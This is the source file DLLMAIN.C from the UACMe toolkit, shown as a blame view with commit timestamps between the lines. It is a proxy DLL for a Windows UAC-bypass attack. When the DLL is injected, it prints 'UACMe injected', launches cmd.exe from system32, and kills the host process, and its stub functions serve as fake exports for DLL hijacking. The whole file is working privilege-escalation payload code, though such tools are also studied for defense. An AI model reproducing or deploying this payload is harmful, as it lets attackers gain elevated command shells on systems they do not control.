2015-03-28 12:00:29 +00:00
|
|
|
/*******************************************************************************
|
|
|
|
*
|
|
|
|
* (C) COPYRIGHT AUTHORS, 2014 - 2015
|
|
|
|
*
|
|
|
|
* TITLE: DLLMAIN.C
|
|
|
|
*
|
2015-04-20 08:19:13 +00:00
|
|
|
* VERSION: 1.60
|
2015-03-28 12:00:29 +00:00
|
|
|
*
|
2015-04-20 08:19:13 +00:00
|
|
|
* DATE: 20 Apr 2015
|
2015-03-28 12:00:29 +00:00
|
|
|
*
|
|
|
|
* Proxy dll entry point.
|
|
|
|
*
|
|
|
|
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
|
|
|
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
|
|
|
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
|
|
|
* PARTICULAR PURPOSE.
|
|
|
|
*
|
|
|
|
*******************************************************************************/
|
|
|
|
|
2015-04-20 08:19:13 +00:00
|
|
|
//disable nonmeaningful warnings.
|
|
|
|
#pragma warning(disable: 4005) // macro redefinition
|
|
|
|
|
2015-04-05 16:28:52 +00:00
|
|
|
#include <Windows.h>
|
|
|
|
#include "..\Shared\minirtl.h"
|
2015-03-28 12:00:29 +00:00
|
|
|
|
2015-04-05 16:28:52 +00:00
|
|
|
/*
|
|
|
|
* DummyFunc
|
|
|
|
*
|
|
|
|
* Purpose:
|
|
|
|
*
|
|
|
|
* Stub for fake exports.
|
|
|
|
*
|
|
|
|
*/
|
2015-03-28 12:00:29 +00:00
|
|
|
VOID WINAPI DummyFunc(
|
|
|
|
VOID
|
|
|
|
)
|
|
|
|
{
|
|
|
|
}
|
|
|
|
|
2015-04-05 16:28:52 +00:00
|
|
|
/*
|
|
|
|
* DllMain
|
|
|
|
*
|
|
|
|
* Purpose:
|
|
|
|
*
|
|
|
|
* Proxy dll entry point, start cmd.exe and exit immediatelly.
|
|
|
|
*
|
|
|
|
*/
|
2015-03-28 12:00:29 +00:00
|
|
|
BOOL WINAPI DllMain(
|
2015-04-05 16:28:52 +00:00
|
|
|
_In_ HINSTANCE hinstDLL,
|
|
|
|
_In_ DWORD fdwReason,
|
|
|
|
_In_ LPVOID lpvReserved
|
2015-03-28 12:00:29 +00:00
|
|
|
)
|
|
|
|
{
|
|
|
|
DWORD cch;
|
2015-03-29 08:12:55 +00:00
|
|
|
TCHAR cmdbuf[MAX_PATH * 2], sysdir[MAX_PATH + 1];
|
2015-03-28 12:00:29 +00:00
|
|
|
STARTUPINFO startupInfo;
|
|
|
|
PROCESS_INFORMATION processInfo;
|
|
|
|
|
|
|
|
UNREFERENCED_PARAMETER(hinstDLL);
|
|
|
|
UNREFERENCED_PARAMETER(lpvReserved);
|
|
|
|
|
|
|
|
if (fdwReason == DLL_PROCESS_ATTACH) {
|
2015-04-05 16:28:52 +00:00
|
|
|
OutputDebugString(TEXT("UACMe injected, Fubuki at your service.\r\n"));
|
2015-03-28 12:00:29 +00:00
|
|
|
|
|
|
|
RtlSecureZeroMemory(&startupInfo, sizeof(startupInfo));
|
|
|
|
RtlSecureZeroMemory(&processInfo, sizeof(processInfo));
|
|
|
|
startupInfo.cb = sizeof(startupInfo);
|
|
|
|
GetStartupInfo(&startupInfo);
|
|
|
|
|
|
|
|
RtlSecureZeroMemory(sysdir, sizeof(sysdir));
|
|
|
|
cch = ExpandEnvironmentStrings(TEXT("%systemroot%\\system32\\"), sysdir, MAX_PATH);
|
|
|
|
if ((cch != 0) && (cch < MAX_PATH)) {
|
|
|
|
RtlSecureZeroMemory(cmdbuf, sizeof(cmdbuf));
|
2015-04-05 16:28:52 +00:00
|
|
|
_strcpy(cmdbuf, sysdir);
|
|
|
|
_strcat(cmdbuf, TEXT("cmd.exe"));
|
2015-03-28 12:00:29 +00:00
|
|
|
|
|
|
|
if (CreateProcess(cmdbuf, NULL, NULL, NULL, FALSE, 0, NULL,
|
|
|
|
sysdir, &startupInfo, &processInfo))
|
|
|
|
{
|
|
|
|
CloseHandle(processInfo.hProcess);
|
|
|
|
CloseHandle(processInfo.hThread);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
ExitProcess(0);
|
|
|
|
}
|
|
|
|
return TRUE;
|
|
|
|
}
|